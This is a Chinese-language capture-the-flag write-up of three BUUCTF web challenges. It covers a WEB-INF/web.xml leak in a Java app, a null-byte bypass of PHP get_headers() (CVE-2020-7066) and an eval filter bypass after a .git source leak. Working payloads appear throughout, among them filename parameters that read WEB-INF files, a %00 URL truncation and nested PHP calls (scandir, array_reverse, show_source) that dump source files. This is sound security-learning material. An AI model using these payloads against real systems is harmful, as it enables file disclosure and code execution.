BUUCTF 16

知识点

  • WEB-INF/web.xml泄露

  1. WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:        
  2.     /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。     
  3.     /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
  4.      /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  5.     /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  6.     /WEB-INF/database.properties:数据库配置文件
  • cve-2020-7066

  1. PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
  2. 在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
  • scandir()函数

  1. 语法:scandir(directory,sorting_order,context);
  2. 参数: 
  3. 作用:scandir() 函数返回指定目录中的文件和目录的数组。
  • localeconv()函数

  1. 语法:​​​​​​​localeconv()
  2. 定义和用法: 
  • current()函数​​​​​​​

  1. 语法:current(array)

  2. 参数:array 必需。规定要使用的数组。

定义和用法:

  • PHP array_reverse() 函数

  1. 语法:array_reverse(array,preserve)
  2. 参数: 
  3. 作用:

16-1  [RoarCTF 2019]Easy Java

做题思路

尝试一下登陆,看url也没什么特别

然后点开help,发现了 

却仍然没有思路

据WP得知,这种url一般是文件包含,可以下载文件下来,先抓包

然后改为 POST 请求试试  // 得到文件,打开为

由WP得到 Java 中WEB应用的安全目录 WEB-INF  分享一个关于源码泄露的网址,并且里面包含WEB-INF文件夹下面的web.xml的泄露

然后构造 payload 

?filename=WEB-INF/web.xml

发现 

尝试访问一下,

?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

得到  发现一段base64字符,然后解密得到flag 

16-2  [GKCTF2020]cve版签到

做题思路

首先看到有个提示,点开之后

发现 cve-2020-7066,百度之后了解这是一个漏洞,具体使用如下

 点开链接

 并且在F12中 打开包发现了一个提示  

然后 又说了仅需要查看 ctfhub.com

于是构造 payload:/?url=http://127.0.0.1%00.ctfhub.com

 提示 host必须以123结尾

于是构造 payload:/?url=http://127.0.0.123%00.ctfhub.com

 

16-3 [GXYCTF2019]禁止套娃

做题思路

没发现什么的东西,好吧,毫无思路找WP

得知是 .git源码泄露

用GitHack拿到index.php

python GitHack.py http://f947babc-b762-4a48-bbe9-8fe7414d39a8.node3.buuoj.cn/.git/
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

然后得知了许多函数

构造payload得到目录

?exp=print_r(scandir(pos(localeconv())));

之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出
payload:

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值